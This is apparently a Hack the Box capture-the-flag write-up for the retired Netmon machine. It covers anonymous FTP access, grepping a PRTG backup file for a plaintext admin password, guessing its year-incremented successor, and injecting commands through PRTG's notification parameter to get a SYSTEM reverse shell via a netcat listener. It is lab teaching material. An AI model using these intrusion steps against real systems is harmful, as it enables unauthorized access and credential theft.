Hack the Box Write-up #3: Netmon

In today’s write-up we’re going to take a look at getting into Hack the Box’s retired Netmon machine, which was a relatively easy box if you just remembered that people tend to have bad password habits.

Recon

We start with an nmap scan which gives us quite a few open ports:

> nmap -sV -sC -oN nmap/init 10.10.10.152

Nmap scan report for 10.10.10.152
Host is up (0.035s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE      VERSION
21/tcp  open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-02-19  11:18PM                 1024 .rnd
| 02-25-19  09:15PM       <DIR>          inetpub
| 07-16-16  08:18AM       <DIR>          PerfLogs
| 02-25-19  09:56PM       <DIR>          Program Files
| 02-02-19  11:28PM       <DIR>          Program Files (x86)
| 02-03-19  07:08AM       <DIR>          Users
|_02-25-19  10:49PM       <DIR>          Windows
| ftp-syst:
|_  SYST: Windows_NT
80/tcp  open  http         Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

What immediately catches the eye is the ftpd which allows anonymous access on what appears to be the root directory. But before we start exploring this further, let’s have a quick look at port 80 to confirm the nmap result.

We see the PRTG bandwith monitor web app running and can also confirm the version information in the lower left:

Googling for default credentials gives us prtgadmin:prtgadmin, however, these don’t work ¯\(ツ)/¯.

Looking for exploits

Doing a searchsploit search for PRTG, we find two exploits matching the running version – one of them for Denial of Service, the other one for an authenticated Remote Code Execution:

-------------------------------------------------------------------------- -----------------------------------
 Exploit Title                                                            |  Path
                                                                          | (/usr/share/exploitdb/)
-------------------------------------------------------------------------- -----------------------------------
PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution      | exploits/windows/webapps/46527.sh
PRTG Network Monitor < 18.1.39.1648 - Stack Overflow (Denial of Service)  | exploits/windows_x86/dos/44500.py
PRTG Traffic Grapher 6.2.1 - 'url' Cross-Site Scripting                   | exploits/java/webapps/34108.txt
------------------------------------------------------------------------------------- ------------------------

Denial of Service is not what we want and the RCE will only work if we have valid credentials for the PRTG web interface.

Enumerating FTP

Let’s look at what the anonymous FTP access can give us, and while looking around, do another nmap -p- 10.10.10.152 to scan all TCP ports, so that we have something to come back to after the FTP enumeration.

> ftp 10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
Name (10.10.10.152:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.

While we cannot write files, we seem to have pretty wide read access. So much indeed, that we can directly snatch the user.txt flag at /Users/Public/.

As we can access /Windows/System32, we can also verify the OS version (license.rtf mentions Windows 2016 – different than what nmap reported), which might be handy later on.

Having the promising RCE in PRTG Network Monitor in the back of our minds, let’s see if we can find configuration data that might give us access to the web interface.

Googling around, we quickly find How PRTG Network Monitor Stores its Data, which tells us:

Windows Server 2012 (R2), Windows Server 2016, Windows 10, Windows 8.1, Windows 8, Windows 7, Windows Server 2008 R2: %programdata%\Paessler\PRTG Network Monitor.

… and:

So let’s have a look at these and other config files at /ProgramData/Paessler/PRTG Network Monitor.

To make the process of grepping through the files faster (as we don’t know exactly where and how PRTG Network Monitor stores files), we can actually download the whole folder: wget -m ftp://10.10.10.152/ProgramData/Paessler (about 14 MB).

Doing something like grep -r . -A1 -ie 'password' in this folder gives way too many hits, so let’s narrow down on the PRTG Configuration.old.bak first, as this isn’t a standard file and .bak files are generally interesting for findings.

grep 'PRTG Configuration.old.bak' -A2 -ie 'password' | less reveals right at the top a username and password:

<dbpassword>
  <!-- User: prtgadmin -->
  PrTg@dmin2018
</dbpassword>

Exploitation

Trying the password over at http://10.10.10.152 we still get Your login has failed. Please try again!.

Thinking of bad password habits, though, we might guess that the password could still be the same but with a changed year suffix (as this one was found in an old backup file).

prtgadmin:PrTg@dmin2019 works immediately and we are greeted by the welcome screen:

Guessing the password year increment reads easy here, but it actually had me stuck longer than it should have :-)

Having access, we can now look at the exploit we found earlier via searchsploit.

Examining it via searchsploit -x 46527 and reading a blog post of the vulnerability, we can see that it does command injection via a notification feature (by using a demo ps1 script) and through that adds a new administrative user to the machine.

As this is not the stealthiest way, let’s see if we can exploit it in a slightly different way without adding a new user.

In Setup -> Account Settings -> Notifications, we can add a new notification and enable the “Execute Program” option as described in the above blog post. There, we find the two demo scripts and the “Parameter” field which we can (ab)use to add another command of our own, right after the argument to the demo script.

At first, let’s try to do a simple ping to the attacker machine:

And on the attacker machine:

> tcpdump -i tun0 ip proto \\icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
00:33:53.801858 IP 10.10.10.152 > kali-vm1: ICMP echo request, id 1, seq 2717, length 40
00:33:53.801890 IP kali-vm1 > 10.10.10.152: ICMP echo reply, id 1, seq 2717, length 40

After clicking the “bell” icon on the right to send a test notification, the ICMP packet arrives, meaning we successfully injected the ping command.

To now get a reverse shell, we can grab a Powershell one-liner from the excellent swisskyrepo Reverse Shell Cheat Sheet, and use this instead of the ping:

All we need to do now is change the IP to our own, the port to 80 and start a netcat listener via nc -lvnp 80. Sending another “test notification” then gives us a shell. And since PRTG Network Monitor is running as System, we are as well:

Cheers!

I hope you’ve enjoyed this write-up. If you have any questions, did it another way or have something else to say, feel free to leave a comment. I’m always happy to learn new things. You can also check out the other write-ups.